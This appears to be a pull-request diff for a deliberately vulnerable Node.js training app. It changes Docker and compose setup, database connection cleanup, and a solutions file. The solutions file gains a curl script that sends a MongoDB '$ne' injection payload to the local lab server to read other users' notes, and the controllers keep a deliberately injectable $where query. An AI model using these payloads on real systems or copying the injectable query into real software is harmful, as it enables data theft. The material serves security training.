Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 9 additions & 1 deletion Dockerfile
Original file line number Diff line number Diff line change
@@ -1,6 +1,14 @@
FROM node:16
# Use bullseye because otherwise apt-get was failing for me in 2026...?
FROM node:16-bullseye-slim
WORKDIR /usr/code
COPY package*.json ./

# Need a few more bits with the slim base image
RUN apt-get update -y && apt-get install -y build-essential iputils-ping

# Simple solution to no-chromium-bundled-for-arm; see https://github.com/payatu/vuln-nodejs-app/issues/3 for longer one
RUN if [ "$(uname -m)" = "aarch64" ] ; then apt-get install -y chromium; fi

RUN npm install
RUN npm install nodemon -g
COPY . .
Expand Down
16 changes: 14 additions & 2 deletions controllers/vuln_controller.js
Original file line number Diff line number Diff line change
Expand Up @@ -520,11 +520,16 @@ const mongodb_save_notes_post = (req, res) => {
if (err) {
console.log(err);
res.status(500).send('Internal error!');
return;
}
dbo = db.db('vuln_nodejs_app');
dbo.collection('mongodb-notes').insertOne(noteObj, (err, result) => {
if (err) return res.status(500).send('Internal error!');
if (err) {
db.close();
return res.status(500).send('Internal error!');
}
res.send({'success': 'true'});
db.close();
});
});
};
Expand All @@ -536,8 +541,10 @@ const mongodb_show_notes_post = (req, res) => {
db.collection('mongodb-notes').find({username: req.body.username}).toArray()
.then((notes) => {
res.send(notes);
client.close();
}).catch((err) => {
res.status(500).send('Internal error!');
client.close();
});
});
};
Expand Down Expand Up @@ -698,10 +705,15 @@ const secret_post = (req, res) => {
const db = client.db('vuln_nodejs_app');
db.collection('secret').find({$where: 'this.password ==\''+req.body.password+'\''}).toArray()
.then((secret) => {
if (secret.length == 0) return res.status(403).send('Incorrect password!');
if (secret.length == 0) {
client.close();
return res.status(403).send('Incorrect password!');
}
res.send(secret[0].flag);
client.close();
}).catch((err) => {
res.status(500).send('Internal server error!');
client.close();
});
});
};
Expand Down
17 changes: 14 additions & 3 deletions docker-compose.yml
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,12 @@ services:
SERVICE_NAME: mysqldb
networks:
- internalnet
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "--silent"]
interval: 10s
timeout: 5s
retries: 5
start_period: 10s

mongodb:
image: mongo
Expand All @@ -32,6 +38,9 @@ services:
- MONGO_INITDB_ROOT_PASSWORD=supersecret
networks:
- internalnet
healthcheck:
test: ["CMD", "sh", "-c", "echo 'db.runCommand({ ping: 1 }).ok' | mongosh --quiet"]
start_period: 30s

nodeapp:
container_name: vuln_nodejs_app
Expand All @@ -57,11 +66,13 @@ services:
MONGODB_ADMINUSERNAME: vuln_nodejs_app
MONGODB_ADMINPASSWORD: supersecret
depends_on:
- mysqldb
- mongodb
mysqldb:
condition: service_healthy
mongodb:
condition: service_healthy
networks:
- internalnet

networks:
internalnet:
driver: bridge
driver: bridge
13 changes: 13 additions & 0 deletions solutions/solutions.md
Original file line number Diff line number Diff line change
Expand Up @@ -1010,6 +1010,19 @@ Application is using MongoDB to handle user notes your goal is to read a note wi
{"username":{"$ne":""}}
```

Here's a shell script to do it in one shot:
```
#!/bin/sh
rand=$(date | (shasum || sha1sum) | cut -c1-6)
authToken=$(curl -s http://localhost:9000/register \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=user$rand&email=nobody@example.com&password=testpass123")

curl -gisS http://localhost:9000/mongodb-notes/show-notes \
-H "Cookie: authToken=$authToken" \
--json '{"username":{"$ne":""}}'
```

### Vulnerable code

**Request method, endpoint, parameter**
Expand Down